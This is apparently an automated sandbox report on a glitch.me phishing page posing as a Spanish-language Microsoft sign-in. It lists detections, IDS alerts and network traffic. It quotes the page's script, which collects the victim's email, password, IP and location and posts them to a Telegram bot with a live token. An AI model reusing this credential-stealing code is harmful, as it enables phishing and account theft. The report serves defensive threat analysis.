Edit tour

Windows Analysis Report
https://terrific-metal-countess.glitch.me/

Overview

General Information

Sample URL:	https://terrific-metal-countess.glitch.me/
Analysis ID:	1589345
Infos:

Detection

HTMLPhisher

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Suricata IDS alerts for network traffic

Yara detected HtmlPhish29

AI detected suspicious Javascript

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

Form action URLs do not match main URL

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML page contains string obfuscation

HTML title does not match URL

Javascript checks online IP of machine

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

chrome.exe (PID: 7160 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1708 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2376,i,5334429179112139548,14185537720378761471,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3052 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5636 --field-trial-handle=2376,i,5334429179112139548,14185537720378761471,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5512 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://terrific-metal-countess.glitch.me/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.0.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security

Suricata Signatures

ET PHISHING Possible Glitch.me Phishing Domain

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T01:27:55.205896+0100	2029493	1	A Network Trojan was detected	192.168.2.6	54896	1.1.1.1	53	UDP
2025-01-12T01:27:55.206176+0100	2029493	1	A Network Trojan was detected	192.168.2.6	52855	1.1.1.1	53	UDP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T01:28:11.822994+0100	1810007	1	Potentially Bad Traffic	192.168.2.6	49846	149.154.167.220	443	TCP
2025-01-12T01:28:12.462425+0100	1810007	1	Potentially Bad Traffic	192.168.2.6	49853	149.154.167.220	443	TCP
2025-01-12T01:28:13.773500+0100	1810007	1	Potentially Bad Traffic	192.168.2.6	49863	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://terrific-metal-countess.glitch.me/

Avira URL Cloud: detection malicious, Label: phishing

Phishing

AI detected phishing page

Source: https://terrific-metal-countess.glitch.me/

Joe Sandbox AI: Score: 9 Reasons: The URL 'terrific-metal-countess.glitch.me' does not match the legitimate domain 'microsoft.com'., The domain 'glitch.me' is a platform for hosting web applications and is not associated with Microsoft., The use of a subdomain 'terrific-metal-countess' is unusual and does not relate to Microsoft., Microsoft is a well-known brand, and any legitimate site would likely use a subdomain of 'microsoft.com'., The URL structure and domain choice are common indicators of phishing attempts. DOM: 1.0.pages.csv

Yara detected HtmlPhish29

Source: Yara match

File source: 1.0.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://terrific-metal-countess.glitch.me/... This script demonstrates highly suspicious and malicious behavior. It collects sensitive user data (email and password) and sends it to a Telegram bot, which is a clear case of data exfiltration. Additionally, it redirects the user to a suspicious domain, which is a common phishing tactic. The script also uses the `ipapi.co` service to gather the user's location information, further compromising their privacy. Overall, this script poses a significant risk and should be considered a high-risk threat.

Javascript uses Telegram API

Source: https://terrific-metal-countess.glitch.me/

HTTP Parser: const url = "https://ipapi.co/json/"; const form = document.queryselector("#loginform"); form.addeventlistener("submit", (event) => { event.preventdefault(); // aqui evitamos que el cdigo se repita evita que se enve el formulario axios .get(url) .then((response) => { const email = document.queryselector("#email").value; const contra = document.queryselector("#clave").value; const message = "\nusuario: " + email + "\ncontra: " + contra + "\nciudad:" + response.data.city + "\npais: " + response.data.country + "\nip: " + response.data.ip; axios .post( "https://api.telegram.org/bot7114109019:aage9uodjz7i3mdcg6kha513mvkpjbw78d8/sendmessage", { chat_id: "-4731134030", text: message, } ) .then((res...

Source: https://www.msn.com/?ocid=mailsignout&pc=U591

HTTP Parser: Form action: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=d7b530a4-7680-4c23-a8bf-c52c121d2e87&scope=User.Read%20openid%20profile%20offline_access&redirect_uri=https%3A%2F%2Fwww.msn.com%2Fstaticsb%2Fstatics%2Flatest%2Fauth%2Fauth-redirect-blank.html&client-request-id=1061c1f5-2164-4157-9f29-72117cc031dc&response_mode=fragment&response_type=code&x-client-SKU=msal.js.browser&x-client-VER=2.18.0&x-client-OS=&x-client-CPU=&client_info=1&code_challenge=b-c519E8e1dn8VlsuBrhI9jEMjsqCvP6vdKrkOnhLos&code_challenge_method=S256&prompt=none&nonce=3be8ff1b-dd39-475c-8073-d42a9a41f2a4&state=eyJpZCI6ImNlNGMzYzUyLTlmZmEtNGI2ZS04MGRjLTE3ZWQyM2EzYTUxMSIsIm1ldGEiOnsiaW50ZXJhY3Rpb25UeXBlIjoic2lsZW50In19&sso_reload=true msn microsoftonline

Source: https://terrific-metal-countess.glitch.me/	HTTP Parser: Number of links: 0
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: Number of links: 0

Source: https://terrific-metal-countess.glitch.me/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://www.msn.com/?ocid=mailsignout&pc=U591

HTTP Parser: Base64 decoded: /utep_ad.js

Source: https://www.msn.com/?ocid=mailsignout&pc=U591

HTTP Parser: Found new string: script try {!function(){function e(e,t){return"function"==typeof __an_obj_extend_thunk?__an_obj_extend_thunk(e,t):e}function t(e,t){"function"==typeof __an_err_thunk&&__an_err_thunk(e,t)}function n(e,t){if("function"==typeof __an_redirect_thunk)__an_redirect_thunk(e);else{var n=navigator.connection;navigator.__an_connection&&(n=navigator.__an_connection),window==window.top&&n&&n.downlinkMax<=.115&&"function"==typeof HTMLIFrameElement&&HTMLIFrameElement.prototype.hasOwnProperty("srcdoc")?(window.__an_resize=function(e,t,n){var r=e.frameElement;r&&"__an_if"==r.getAttribute("name")&&(t&&(r.style.width=t+"px"),n&&(r.style.height=n+"px"))},document.write('<iframe name="__an_if" style="width:0;height:0" srcdoc="<script type=\'text/javascript\' src=\''+e+"&"+t.bdfif+"=1'></sc"),document.write('ript>" frameborder="0" scrolling="no" marginheight=0 marginwidth=0 topmargin="0" leftmargin="0" allowtransparency="true"></iframe>')):document.write('<script language="javascript" src="'+e+'"></scr'+'ipt>')}};var r=function(e){this.r...

Source: https://terrific-metal-countess.glitch.me/	HTTP Parser: Title: Iniciar sesin en tu cuenta Microsoft does not match URL
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: Title: Redirecting does not match URL

Source: https://terrific-metal-countess.glitch.me/

HTTP Parser: <input type="password" .../> found

Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No favicon

Source: https://terrific-metal-countess.glitch.me/	HTTP Parser: No <meta name="author".. found
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No <meta name="author".. found

Source: https://terrific-metal-countess.glitch.me/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.msn.com/?ocid=mailsignout&pc=U591	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50515 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.6:49863 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.6:49853 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.6:49846 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: Network traffic	Suricata IDS: 2029493 - Severity 1 - ET PHISHING Possible Glitch.me Phishing Domain : 192.168.2.6:52855 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2029493 - Severity 1 - ET PHISHING Possible Glitch.me Phishing Domain : 192.168.2.6:54896 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: terrific-metal-countess.glitch.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /estilo.css HTTP/1.1Host: terrific-metal-countess.glitch.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://terrific-metal-countess.glitch.me/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/axios@1.1.2/dist/axios.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://terrific-metal-countess.glitch.me/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /22background.svg HTTP/1.1Host: terrific-metal-countess.glitch.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://terrific-metal-countess.glitch.me/estilo.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://terrific-metal-countess.glitch.meSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://terrific-metal-countess.glitch.me/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bot7114109019:AAGE9UOdjZ7I3mDCG6kHa513MvKpJBw78d8/sendMessage HTTP/1.1Host: api.telegram.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /owa/csignout.aspx?%3f%3fumkt=es-US&exch=1&RpsCsrfState=4042c6ed-e025-daaa-5b59-e2b84fedc413&lc=1033 HTTP/1.1Host: outlook.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://login.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b?rn=1736641699171&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591%26content%3D1%26mkt%3Den-us&c8=MSN&c9=&cs_fpid=037E08383FE368843ABF1D4A3E696958&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b2?rn=1736641699171&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591%26content%3D1%26mkt%3Den-us&c8=MSN&c9=&cs_fpid=037E08383FE368843ABF1D4A3E696958&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=1B8a6d85281ac91eea006661736641699; XID=1B8a6d85281ac91eea006661736641699
Source: global traffic	HTTP traffic detected: GET /scripts/msn-sync.es5.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /m?cdsp=516415&c=037E08383FE368843ABF1D4A3E696958&mode=inverse&msn_src=ntp&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.mgid.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uidmappixel?ext_uid=037E08383FE368843ABF1D4A3E696958&pname=MSN&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.outbrain.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?type=nms&cs=3&ovsid=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: hbx.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/msn?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/msn-sync.es5.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8&user.id=037E08383FE368843ABF1D4A3E696958 HTTP/1.1Host: api.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uidmappixel?ext_uid=037E08383FE368843ABF1D4A3E696958&pname=MSN&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.outbrain.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: obuid=44f1a6a3-69f9-42d2-8f49-94186c207505
Source: global traffic	HTTP traffic detected: GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8&user.id=037E08383FE368843ABF1D4A3E696958 HTTP/1.1Host: api.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=037E08383FE368843ABF1D4A3E696958
Source: global traffic	HTTP traffic detected: GET /mapuid?suid=037E08383FE368843ABF1D4A3E696958&sid=16&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.mediago.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
